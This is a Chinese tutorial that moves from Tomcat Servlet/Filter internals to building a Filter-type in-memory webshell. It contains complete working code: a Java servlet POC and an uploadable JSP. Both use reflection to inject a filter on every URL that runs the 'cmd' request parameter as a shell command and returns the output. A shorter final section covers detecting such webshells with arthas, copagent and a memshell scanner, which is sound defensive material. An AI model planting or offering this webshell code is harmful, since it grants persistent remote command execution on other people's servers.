Java Web三大件

Servlet

Servlet是运行在Web服务器上的程序,负责处理用户的请求并根据请求生成相应的返回信息给用户。

它的请求处理过程如下:

客户端发起一个http请求,比如get类型。
Servlet容器接收到请求,根据请求信息,封装成HttpServletRequest和HttpServletResponse对象。
Servlet容器调用HttpServlet的init()方法,init方法只在第一次请求的时候被调用。
Servlet容器调用service()方法。
service()方法根据请求类型,这里是get类型,分别调用doGet或者doPost方法,这里调用doGet方法。
doXXX方法中是我们自己写的业务逻辑。
业务逻辑处理完成之后,返回给Servlet容器,然后容器将结果返回给客户端。
容器关闭时候,会调用destory方法
画图深入了解

🍧从Tomcat基础到Filter型内存马 - 图1

只画了个大概,自己画一遍会理解的。

Filter

filter也称之为过滤器,过滤器实际上就是对web资源进行拦截,做一些过滤,权限鉴别等处理后再交给下一个过滤器或servlet处理,通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。

🍧从Tomcat基础到Filter型内存马 - 图2

当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法。在doFilter方法中,开发人员如果调用了FilterChain对象的doFilter方法,则web服务器会检查FilterChain对象中是否还有filter,如果有,则调用第2个filter,如果没有,则调用目标资源。

filter的生命周期:

  1. public void init(FilterConfig filterConfig) throws ServletException //初始化
  2. public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException; //拦截请求
  3. public void destroy(); //销毁

周期解读:

  1. 创建

在web服务器启动的时候,web服务器将会创建Filter对象,进而调用init方法,读取配置文件(web.xml),完成初始化对象的功能。Filter对象只会创建一次,所以init()也只会执行一次。

  1. 拦截请求

doFilter此类方法,是实际上进行的过滤操作,当存在多个Filter时,执行第一个FilterdoFilter方法,FilterChain参数将用于访问后面的第二个过滤器。

调用顺序:根据在web.xml中的注册顺序来决定先后。

  1. 销毁

Filter对象创建后会驻留在内存中,只有当web应用移除或者停止的时候才会销毁。

Listener

Java Web 开发中的监听器(Listener)就是 Application、Session 和 Request 三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。

<font style="color:rgb(52, 73, 94);">ServletContextListener</font>:对Servlet上下文的创建和销毁进行监听;

<font style="color:rgb(52, 73, 94);">ServletContextAttributeListener</font>:监听 Servlet 上下文属性的添加、删除和替换;

<font style="color:rgb(52, 73, 94);">HttpSessionListener</font>:对 Session 的创建和销毁进行监听。Session 的销毁有两种情况,一种是Session 超时,还有一种是通过调用 Session 对象的 <font style="color:rgb(52, 73, 94);">invalidate()</font> 方法使 session 失效。

<font style="color:rgb(52, 73, 94);">HttpSessionAttributeListener</font>:对 Session 对象中属性的添加、删除和替换进行监听;

<font style="color:rgb(52, 73, 94);">ServletRequestListener</font>:对请求对象的初始化和销毁进行监听;

<font style="color:rgb(52, 73, 94);">ServletRequestAttributeListener</font>:对请求对象属性的添加、删除和替换进行监听。

Tomcat架构

Tomcat基本架构分析

tomcat四大部分:Server、Service、Connector、Container

🍧从Tomcat基础到Filter型内存马 - 图3

大概理解一下:

Server是web服务器,服务器中包含多个Service

Service主要作用是关联 Connector 和 Container,同时会初始化它下面的其它组件,在 Connector 和 Container 外面多包一层,把它们组装在一起,向外面提供服务,一个 Service 可以设置多个 Connector,但是只能有一个 Container 容器。

Tomcat 的心脏是两个组件:Connector 和 Container:
Connector 负责对外交流,进行 Socket 通信(基于 TCP/IP),解析 HTTP 报文,它的主要任务是负责接收浏览器的发过来的 tcp 连接请求,创建一个 Request 和 Response 对象分别用于和请求端交换数据,然后会产生一个线程来处理这个请求并把产生的 Request 和 Response 对象传给处理这个请求的线程

Container(又名Catalina)用于处理Connector发过来的servlet连接请求,它是容器的父接口,所有子容器都必须实现这个接口,Container 容器的设计用的是典型的责任链的设计模式,它有四个子容器组件构成,分别是:Engine、Host、Context、Wrapper,这四个组件不是平行的,而是父子关系,Engine 包含 Host,Host 包含 Context,Context 包含 Wrapper。

Container下的四种容器

tomcat在Container中设计了四种容器,分别是:

Engine:包含Host,实现的类为:org.apache.catalina.core.StandardEngine

Host:代表虚拟主机,一个虚拟主机与一个域名匹配,其下可以包含多个Context,实现类为:org.apache.catalina.core.StandardHost

Context:一个Context对应一个Web应用,能包含多个Wrapper,实现类为:org.apache.catalina.core.StandardContext

Wrapper:对应Servlet,负责管理Servlet,包括Servlet的装载,初始化,执行和回收。实现类为:org.apache.catalina.core.StandardWrapper

🍧从Tomcat基础到Filter型内存马 - 图4

Tomcat下三个Context理解

Context意思为上下文,也就是,解释当前的动作的背景,这个师傅写的比较好理解

🍧从Tomcat基础到Filter型内存马 - 图5

ServletContext

ServletContext在Servlet中是一个接口类,看下它的内容

🍧从Tomcat基础到Filter型内存马 - 图6

代码太长,简单描述下,刚才说Context是对一个故事的背景进行了解,那么这里它就是对当前Servlet的一些操作,创建、获取、删除等。

ApplicationContext

这个类是对Servlet的一些方法的实现,可以看出来,存在ServletContext的接口。

🍧从Tomcat基础到Filter型内存马 - 图7

然后看到这部分,是重写了接口中的类,也就是在这个类中实现了接口类中的一些方法。

🍧从Tomcat基础到Filter型内存马 - 图8

StandardContext

这个类是对Context的标准实现类,在ApplicationContext类中,对资源的各种操作实际上是调用了StandardContext中的方法

🍧从Tomcat基础到Filter型内存马 - 图9

实际调用的地方很多,比如

🍧从Tomcat基础到Filter型内存马 - 图10

以上Context之间的关系

🍧从Tomcat基础到Filter型内存马 - 图11

<font style="color:rgb(52, 73, 94);">ServletContext</font>接口的实现类为<font style="color:rgb(52, 73, 94);">ApplicationContext</font>类和<font style="color:rgb(52, 73, 94);">ApplicationContextFacade</font>类,其中<font style="color:rgb(52, 73, 94);">ApplicationContextFacade</font>是对<font style="color:rgb(52, 73, 94);">ApplicationContext</font>类的包装。我们对<font style="color:rgb(52, 73, 94);">Context</font>容器中各种资源进行操作时,最终调用的还是<font style="color:rgb(52, 73, 94);">StandardContext</font>中的方法,因此<font style="color:rgb(52, 73, 94);">StandardContext</font><font style="color:rgb(52, 73, 94);">Tomcat</font>中负责与底层交互的<font style="color:rgb(52, 73, 94);">Context</font>

Filter调用流程分析

环境搭建和三方依赖导入问题略

测试用例代码:

  1. import javax.servlet.*;
  2. import java.io.IOException;
  3. public class filter implements Filter {
  4. public void init(FilterConfig config) throws ServletException {
  5. System.out.println("第一个Filter 初始化创建");
  6. }
  7. @Override
  8. public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
  9. System.out.println("第一个Filter执行过滤操作");
  10. chain.doFilter(request, response);
  11. }
  12. public void destroy() {
  13. }
  14. }

在web.xml中

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  3. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4. xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  5. version="4.0">
  6. <filter> <filter-name>filter</filter-name>
  7. <filter-class>filter</filter-class>
  8. </filter>
  9. <filter-mapping>
  10. <filter-name>filter</filter-name>
  11. <url-pattern>/filter</url-pattern>
  12. </filter-mapping>
  13. </web-app>

在用例中调用doFilter()处下断点,先将环境运行起来,注意是进行debug,返回IDEA看到执行了doFilter()中的打印就是正常的了。

🍧从Tomcat基础到Filter型内存马 - 图12

开始调试,这里是直接进入doFilter(),是因为初始化的跳过了,后面分析创建过程。这里是分析调用过滤的流程的。

🍧从Tomcat基础到Filter型内存马 - 图13

进入到doFilter()方法中,发现进入了ApplicationFilterChain中的doFilter(),这里有个判断,是全局安全服务是否开启的判断,可以看到这里是false,所以直接跳到了最后一步。

🍧从Tomcat基础到Filter型内存马 - 图14

注意internalDoFilter()方法也是这个类中的,下面进行判断pos<n,filters是前面定义的,而pos则是数组下标。

  1. private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];

🍧从Tomcat基础到Filter型内存马 - 图15

具体内容看debug中调用栈,实际上是有两个filter,因为除了自定义那一个,还有tomcat自带的一个。

🍧从Tomcat基础到Filter型内存马 - 图16

向下走两步就可以看清楚了,filter两个,此时的pos也变成2了。

🍧从Tomcat基础到Filter型内存马 - 图17

继续进行,又调用了doFilter方法

🍧从Tomcat基础到Filter型内存马 - 图18

跟进去,发现这个是tomcatFilter所有的doFilter()所在类是:org.apache.tomcat.websocket.server.WsFilter

🍧从Tomcat基础到Filter型内存马 - 图19

再次跟进,chain.doFilter(),其实就会发现又回到了ApplicationFilterChain类下的doFilter方法,只是为什么直接跳过了上面的判断,是因为此时的pos=2,已经不满足pos<n的条件了

🍧从Tomcat基础到Filter型内存马 - 图20

在实际过程中,会根据定义的filter链中的filters数量来进行循环,这里(n)只定义了一个filter再加上tomcat自带的filter,所以这一次跳出循环。

跳出循环之后,再一次要调用这个类中的doFilter方法时,pos已经不满足pos<n,那么,他也就进不去第一个try,反而进入了第二个try

🍧从Tomcat基础到Filter型内存马 - 图21

条件判断不成立,自然进入到else中来,调用servlet.service(request, response);

🍧从Tomcat基础到Filter型内存马 - 图22

到这里,调用过程结束。

总结就是:链子调用,从doFilter方法到internalDoFilter方法再回到doFIlter方法,调用链子中的第二个过滤器时重复执行上述步骤,直到最后一个filter过滤器被调用,就会调用servlet.service()

Filter初始化过程分析

创建过程也要了解一下,因为创建一个Filter内存马,就必须了解Filter过滤器是怎么被创建出来的。

依旧是在doFilter()处下断点,看一下在执行到doFilter()前,调用栈中都调用了那些类的方法

🍧从Tomcat基础到Filter型内存马 - 图23

可以发现在调用栈中,连续调用不同类中的invoke方法,为了传递Engine,Host,Context,Wrapper

🍧从Tomcat基础到Filter型内存马 - 图24

上面了解过Container下面的四种容器的关系,所以这里分别点击调用栈中的StandardEngineValveStandardHostValveStandardContextValve就可以发现这个包含关系。

🍧从Tomcat基础到Filter型内存马 - 图25

直到最后的调用StandardWrapperValve类中的invoke方法,主要关注一个变量filterChain,看它在哪里被定义?

  1. // Create the filter chain for this request
  2. ApplicationFilterChain filterChain =
  3. ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

调用ApplicationFilterFactory.createFilterChain,传递三个参数,跟进createFilterChain方法查看

🍧从Tomcat基础到Filter型内存马 - 图26

可以看到这个方法中,也是有比较多的逻辑,可以具体调一下这个方法中的流程。

先看第一段,判断servlet是否为null,如果要继续向下走,servlet就不能为null,然后是给filterChain赋空值,再次进入判断,这里是判断request是否为Request的实例化对象,如果是重新将request强制转换Request的属性,赋值给req,下面的判断全局安全服务是否开启的上面已经提到过了,这里是false。自然不用实例化对象。而是执行了filterChain = (ApplicationFilterChain) req.getFilterChain();正常情况在前面的参数到了这里,到这里就可以进行后面的部分了。

🍧从Tomcat基础到Filter型内存马 - 图27

filterChain数组增加值servlet

到了filterMaps数组进行操作,在StandardContext中查找FilterMaps写入数组,如果查找结果为空,则返回filterChain

继续看后面两个循环,第一个遍历StandardContext.filterMaps得到filter与URL的映射关系并通过matchDispatcher()matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例,当实例不为空时通过addFilter方法,将管理filter实例的filterConfig添加入filterChain对象中。第二个matchFiltersServlet()同理。

🍧从Tomcat基础到Filter型内存马 - 图28

其中要提一下的是filterConfig获取是通过StandardContext类中的findFilterConfig方法

  1. public FilterConfig findFilterConfig(String name) {
  2. return filterConfigs.get(name);
  3. }

再继续就是执行doFilter了,也就是上面的调用流程分析。

攻击思路梳理

由上面的分析,其实不难发现,能控制的部分是在最后的findFilterConfig方法,构造恶意参数filterConfig和filterMap。

🍧从Tomcat基础到Filter型内存马 - 图29

而他们两个参数都在StandardContext中

🍧从Tomcat基础到Filter型内存马 - 图30

而filterMaps对应的应该是在web.xml中的配置

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  3. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4. xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  5. version="4.0">
  6. <filter> <filter-name>filter</filter-name>
  7. <filter-class>filter</filter-class>
  8. </filter>
  9. <filter-mapping>
  10. <filter-name>filter</filter-name>
  11. <url-pattern>/filter</url-pattern>
  12. </filter-mapping>
  13. </web-app>

这里一个还是因为另一个是tomcat自带的filter。

filterMap通过以下两种方法来添加数据

  1. @Override
  2. public void addFilterMap(FilterMap filterMap) {
  3. validateFilterMap(filterMap);
  4. // Add this filter mapping to our registered set
  5. filterMaps.add(filterMap);
  6. fireContainerEvent("addFilterMap", filterMap);
  7. }
  8. @Override
  9. public void addFilterMapBefore(FilterMap filterMap) {
  10. validateFilterMap(filterMap);
  11. // Add this filter mapping to our registered set
  12. filterMaps.addBefore(filterMap);
  13. fireContainerEvent("addFilterMap", filterMap);
  14. }

StandardContext类是一个容器类,容器中存储着web应用程序中的所有数据,也加载了配置文件web.xml中的ServletFilter的值和映射关系。

filterMaps 中的FilterMap则记录了不同filterUrlPattern的映射关系

  1. filterMaps变量:包含所有过滤器的URL映射关系
  2. filterDefs变量:包含所有过滤器包括实例内部等变量
  3. filterConfigs变量:包含所有与过滤器对应的filterDef信息及过滤器实例,进行过滤器进行管理

filterDefs 成员变量成员变量是一个HashMap对象,存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据。

主要思路总结:

  1. 获取当前ServletConrtext对象
  2. 进一步通过ServletContext对象获取filterConfigs
  3. 自定义想要注入的filter对象
  4. 为自定义的filter创建一个filterDef
  5. 最后将自定义的内容整合到filterConfigs就行

Filter型内存马的实现

🍧从Tomcat基础到Filter型内存马 - 图31

反射获取ApplicationContext中的context部分

  1. Field Configs = null;
  2. Map filterConfigs;
  3. //反射获取ApplicationContext中的context
  4. ServletContext servletContext = request.getSession().getServletContext();//得到web应用的servletContext
  5. Field appctx = servletContext.getClass().getDeclaredField("context");
  6. appctx.setAccessible(true);
  7. ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
  8. Field stdctx = applicationContext.getClass().getDeclaredField("context");
  9. stdctx.setAccessible(true);
  10. StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
  11. String FilterName = "cmdli
  12. Configs = standardContext.getClass().getDeclaredField("filterConfigs");
  13. Configs.setAccessible(true);
  14. //赋值给filterConfigs并强转换
  15. filterConfigs = (Map) Configs.get(standardContext);;

执行命令部分

  1. String FilterName = "cmdline";
  2. Configs = standardContext.getClass().getDeclaredField("filterConfigs");
  3. Configs.setAccessible(true);
  4. //赋值给filterConfigs并强转换
  5. filterConfigs = (Map) Configs.get(standardContext);;
  6. //反射获取filterConfigs
  7. //如果有自定义的那个FilterName
  8. if(filterConfigs.get(FilterName)==null){
  9. Filter filter = new Filter() {
  10. @Override
  11. public void init(FilterConfig filterConfig) throws ServletException {
  12. }
  13. @Override
  14. public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
  15. //命令执行
  16. HttpServletRequest hsreq = (HttpServletRequest) request;//强转HttpServletRequest
  17. if (hsreq.getParameter("cmd")!=null){//cmd传参
  18. InputStream inputStream = Runtime.getRuntime().exec(hsreq.getParameter("cmd")).getInputStream();
  19. Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
  20. String output = scanner.hasNext() ? scanner.next() : "";
  21. response.getWriter().write(output);
  22. return;
  23. }
  24. chain.doFilter(request, response);
  25. }
  26. }
  27. @Override
  28. public void destroy() {
  29. }
  30. };
  31. }

方法解读:Scanner.useDelimiter()

Scanner通过用户回车进行读取IO流,然后扫描是否有分隔符,如果没有,那么继续等待下一段IO流. 加深解析:IO流是流行的,不是一次性全部丢进去,默认Scanner使用空格分隔符,回车后扫描到第一个空格,那么就只获取IO流的第一个空格前的字符,这里我们设置了\A,那么永远都弄不到分隔符,使用Ctrl+z 强行EOF关闭输入流,那么\A从字符串头开始匹配,直接获取了从头到尾所有的字符.

hasNext()表示是否还有输入的数据

这里的三目运算,也可以理解了。最后将返回信息写入response中。

反射获取FilterDef和FilterMap部分

  1. //反射获取FilterDef
  2. Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
  3. Constructor declaredConstructor = FilterDef.getDeclaredConstructor();//获取所有构造方法
  4. FilterDef o = (FilterDef) declaredConstructor.newInstance();
  5. o.setFilter(filter);
  6. o.setFilterName(FilterName);
  7. o.setFilterClass(filter.getClass().getName());
  8. standardContext.addFilterDef(o);
  9. //反射获取FilterMaps
  10. Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
  11. Constructor<?> filterMapDeclaredConstructor = FilterMap.getDeclaredConstructor();
  12. FilterMap o1 = (FilterMap) filterMapDeclaredConstructor.newInstance();
  13. //设置拦截规则
  14. o1.addURLPattern("/*");//意为根目录下的均拦截
  15. o1.setFilterName(FilterName);
  16. o1.setDispatcher(DispatcherType.REQUEST.name());//用户直接访问页面会调用过滤器
  17. standardContext.addFilterMap(o1);

关于setDispatcher()https://www.cnblogs.com/yangHS/p/11195625.html

反射获取ApplicationFilterConfig,并将filterConfig和FilterMap传入部分

  1. //反射获取ApplicationFilterConfig
  2. Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
  3. Constructor<?> applicationFilterConfigDeclaredConstructor = ApplicationFilterConfig.getDeclaredConstructor(Context.class, FilterDef.class);
  4. applicationFilterConfigDeclaredConstructor.setAccessible(true);
  5. ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) applicationFilterConfigDeclaredConstructor.newInstance(standardContext,o);
  6. filterConfigs.put(FilterName, filterConfig);
  7. response.getWriter().write("Success");

最后控制下请求方式,这里意思为如果是get方式请求,也会调用doPost(),也就相当于无论是get还是post都可以传参。

  1. protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
  2. this.doPost(request, response);
  3. }

启动一下

🍧从Tomcat基础到Filter型内存马 - 图32

然后看下效果,没问题

🍧从Tomcat基础到Filter型内存马 - 图33

完整POC

  1. package com.sf.filterjsp;
  2. import org.apache.catalina.Context;
  3. import org.apache.catalina.core.ApplicationContext;
  4. import org.apache.catalina.core.ApplicationFilterConfig;
  5. import org.apache.catalina.core.StandardContext;
  6. import org.apache.tomcat.util.descriptor.web.FilterDef;
  7. import org.apache.tomcat.util.descriptor.web.FilterMap;
  8. import javax.servlet.*;
  9. import javax.servlet.annotation.WebServlet;
  10. import javax.servlet.http.HttpServlet;
  11. import javax.servlet.http.HttpServletRequest;
  12. import javax.servlet.http.HttpServletResponse;
  13. import java.io.IOException;
  14. import java.io.InputStream;
  15. import java.lang.reflect.Constructor;
  16. import java.lang.reflect.Field;
  17. import java.util.Map;
  18. import java.util.Scanner;
  19. @WebServlet("/filter")
  20. public class FilterDemo extends HttpServlet {
  21. protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
  22. Field Configs = null;
  23. Map filterConfigs;
  24. try{//反射获取ApplicationContext中的context
  25. ServletContext servletContext = request.getSession().getServletContext();//得到web应用的servletContext
  26. Field appctx = servletContext.getClass().getDeclaredField("context");
  27. appctx.setAccessible(true);
  28. ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
  29. Field stdctx = applicationContext.getClass().getDeclaredField("context");
  30. stdctx.setAccessible(true);
  31. StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
  32. String FilterName = "cmdline";
  33. Configs = standardContext.getClass().getDeclaredField("filterConfigs");
  34. Configs.setAccessible(true);
  35. //赋值给filterConfigs并强转换
  36. filterConfigs = (Map) Configs.get(standardContext);;
  37. //反射获取filterConfigs
  38. //如果有自定义的那个FilterName
  39. if(filterConfigs.get(FilterName)==null){
  40. Filter filter = new Filter() {
  41. @Override
  42. public void init(FilterConfig filterConfig) throws ServletException {
  43. }
  44. @Override
  45. public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
  46. //命令执行
  47. HttpServletRequest hsreq = (HttpServletRequest) request;//强转HttpServletRequest
  48. if (hsreq.getParameter("cmd")!=null){//cmd传参
  49. InputStream inputStream = Runtime.getRuntime().exec(hsreq.getParameter("cmd")).getInputStream();
  50. Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
  51. String output = scanner.hasNext() ? scanner.next() : "";
  52. response.getWriter().write(output);
  53. return;
  54. }
  55. chain.doFilter(request, response);
  56. }
  57. @Override
  58. public void destroy() {
  59. }
  60. };
  61. //反射获取FilterDef
  62. Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
  63. Constructor declaredConstructor = FilterDef.getDeclaredConstructor();//获取所有构造方法
  64. FilterDef o = (FilterDef) declaredConstructor.newInstance();
  65. o.setFilter(filter);
  66. o.setFilterName(FilterName);
  67. o.setFilterClass(filter.getClass().getName());
  68. standardContext.addFilterDef(o);
  69. //反射获取FilterMaps
  70. Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
  71. Constructor<?> filterMapDeclaredConstructor = FilterMap.getDeclaredConstructor();
  72. FilterMap o1 = (FilterMap) filterMapDeclaredConstructor.newInstance();
  73. //设置拦截规则
  74. o1.addURLPattern("/*");//意为根目录下的均拦截
  75. o1.setFilterName(FilterName);
  76. o1.setDispatcher(DispatcherType.REQUEST.name());//用户直接访问页面会调用过滤器
  77. standardContext.addFilterMap(o1);
  78. //反射获取ApplicationFilterConfig
  79. Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
  80. Constructor<?> applicationFilterConfigDeclaredConstructor = ApplicationFilterConfig.getDeclaredConstructor(Context.class, FilterDef.class);
  81. applicationFilterConfigDeclaredConstructor.setAccessible(true);
  82. ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) applicationFilterConfigDeclaredConstructor.newInstance(standardContext,o);
  83. filterConfigs.put(FilterName, filterConfig);
  84. response.getWriter().write("Success");
  85. }
  86. } catch (Exception e) {
  87. e.printStackTrace();
  88. }
  89. }
  90. protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
  91. this.doPost(request, response);
  92. }
  93. }

在实战中使用的话,一般利用点是上传jsp马。在JSP中如何编写

  1. <%--
  2. Created by IntelliJ IDEA.
  3. User: m0re
  4. Date: 2022/11/30
  5. Time: 10:29
  6. To change this template use File | Settings | File Templates.
  7. --%>
  8. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  9. <%@ page import="org.apache.catalina.Context"%>
  10. <%@ page import="org.apache.catalina.core.ApplicationContext"%>
  11. <%@ page import="org.apache.catalina.core.ApplicationFilterConfig"%>
  12. <%@ page import="org.apache.catalina.core.StandardContext"%>
  13. <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef"%>
  14. <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap"%>
  15. <%@ page import="javax.servlet.*"%>
  16. <%@ page import="javax.servlet.http.HttpServletRequest"%>
  17. <%@ page import="java.io.IOException"%>
  18. <%@ page import="java.io.InputStream"%>
  19. <%@ page import="java.lang.reflect.Constructor"%>
  20. <%@ page import="java.lang.reflect.Field"%>
  21. <%@ page import="java.util.Map"%>
  22. <%@ page import="java.util.Scanner"%>
  23. <%
  24. final String FilterName = "cmdline";
  25. ServletContext servletContext = request.getSession().getServletContext();//得到web应用的servletContext
  26. Field appctx = servletContext.getClass().getDeclaredField("context");
  27. appctx.setAccessible(true);
  28. ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
  29. Field stdctx = applicationContext.getClass().getDeclaredField("context");
  30. stdctx.setAccessible(true);
  31. StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
  32. Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
  33. Configs.setAccessible(true);
  34. Map filterConfigs = (Map) Configs.get(standardContext);;
  35. if(filterConfigs.get(FilterName)==null){
  36. Filter filter = new Filter() {
  37. @Override
  38. public void init(FilterConfig filterConfig) throws ServletException {
  39. }
  40. @Override
  41. public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
  42. //命令执行
  43. HttpServletRequest hsreq = (HttpServletRequest) request;//强转HttpServletRequest
  44. if (hsreq.getParameter("cmd")!=null){//cmd传参
  45. boolean isLinux = true;
  46. String osType = System.getProperty("os.name");
  47. if(osType!=null && osType.toLowerCase().contains("win")){
  48. isLinux=false;
  49. }
  50. String[] cmds = isLinux ? new String[]{"sh","-c", hsreq.getParameter("cmd")} : new String[]{"cmd.exe", "/c", hsreq.getParameter("cmd")};
  51. InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
  52. Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
  53. String output = scanner.hasNext() ? scanner.next() : "";
  54. response.getWriter().write(output);
  55. response.getWriter().flush();
  56. return;
  57. }
  58. chain.doFilter(request, response);
  59. }
  60. @Override
  61. public void destroy() {
  62. }
  63. };
  64. FilterDef filterDef = new FilterDef();
  65. filterDef.setFilter(filter);
  66. filterDef.setFilterName(FilterName);
  67. filterDef.setFilterClass(filter.getClass().getName());
  68. standardContext.addFilterDef(filterDef);
  69. FilterMap filterMap = new FilterMap();
  70. filterMap.setFilterName(FilterName);
  71. filterMap.setDispatcher(DispatcherType.REQUEST.name());
  72. filterMap.addURLPattern("/*");
  73. standardContext.addFilterMap(filterMap);
  74. Constructor declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
  75. declaredConstructor.setAccessible(true);
  76. ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor.newInstance(standardContext,filterDef);
  77. filterConfigs.put(FilterName, filterConfig);
  78. out.println("Inject Success");
  79. }
  80. %>
  81. <html>
  82. <head>
  83. <title>Filter</title>
  84. </head>
  85. <body>
  86. Hello, Filter!
  87. </body>
  88. </html>

内存马排查方法

  1. https://github.com/alibaba/arthas

这是一个Java诊断工具,具体可以查看中文说明。这里需要使用到它的命令来查看加载的类的信息

🍧从Tomcat基础到Filter型内存马 - 图34

下载地址:https://arthas.aliyun.com/arthas-boot.jar

运行这个工具

  1. java -jar arthas-boot.jar

选择对应的tomcat进程

🍧从Tomcat基础到Filter型内存马 - 图35

然后使用sc命令,搜索所有调用了Filter的类

  1. sc *.Filter

🍧从Tomcat基础到Filter型内存马 - 图36

使用jad命令,将这个filter_jsp进行反编译

  1. jad --source-only org.apache.jsp.filter_jsp

🍧从Tomcat基础到Filter型内存马 - 图37

  1. 另一款工具,专门用来检测内存马的(应该是基于arthas开发的)

https://github.com/LandGrey/copagent

使用方式同arthas,这个是直接输出高危(是内存马的可能性比较高的)

🍧从Tomcat基础到Filter型内存马 - 图38

  1. 扫描工具

https://github.com/c0ny1/java-memshell-scanner

通过扫描FilterMaps查找内存马,

使用方法:直接将tomcat-memshell-scanner.jsp文件放在web目录下,重启服务器即可扫描

🍧从Tomcat基础到Filter型内存马 - 图39

扫描结果如下:

🍧从Tomcat基础到Filter型内存马 - 图40

可以看出,是可以扫描出内存马的。

参考资料

https://drun1baby.github.io/2022/08/22/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-03-Tomcat-%E4%B9%8B-Filter-%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC

https://www.cnblogs.com/nice0e3/p/14622879.html

https://www.cnblogs.com/bmjoker/p/15114884.html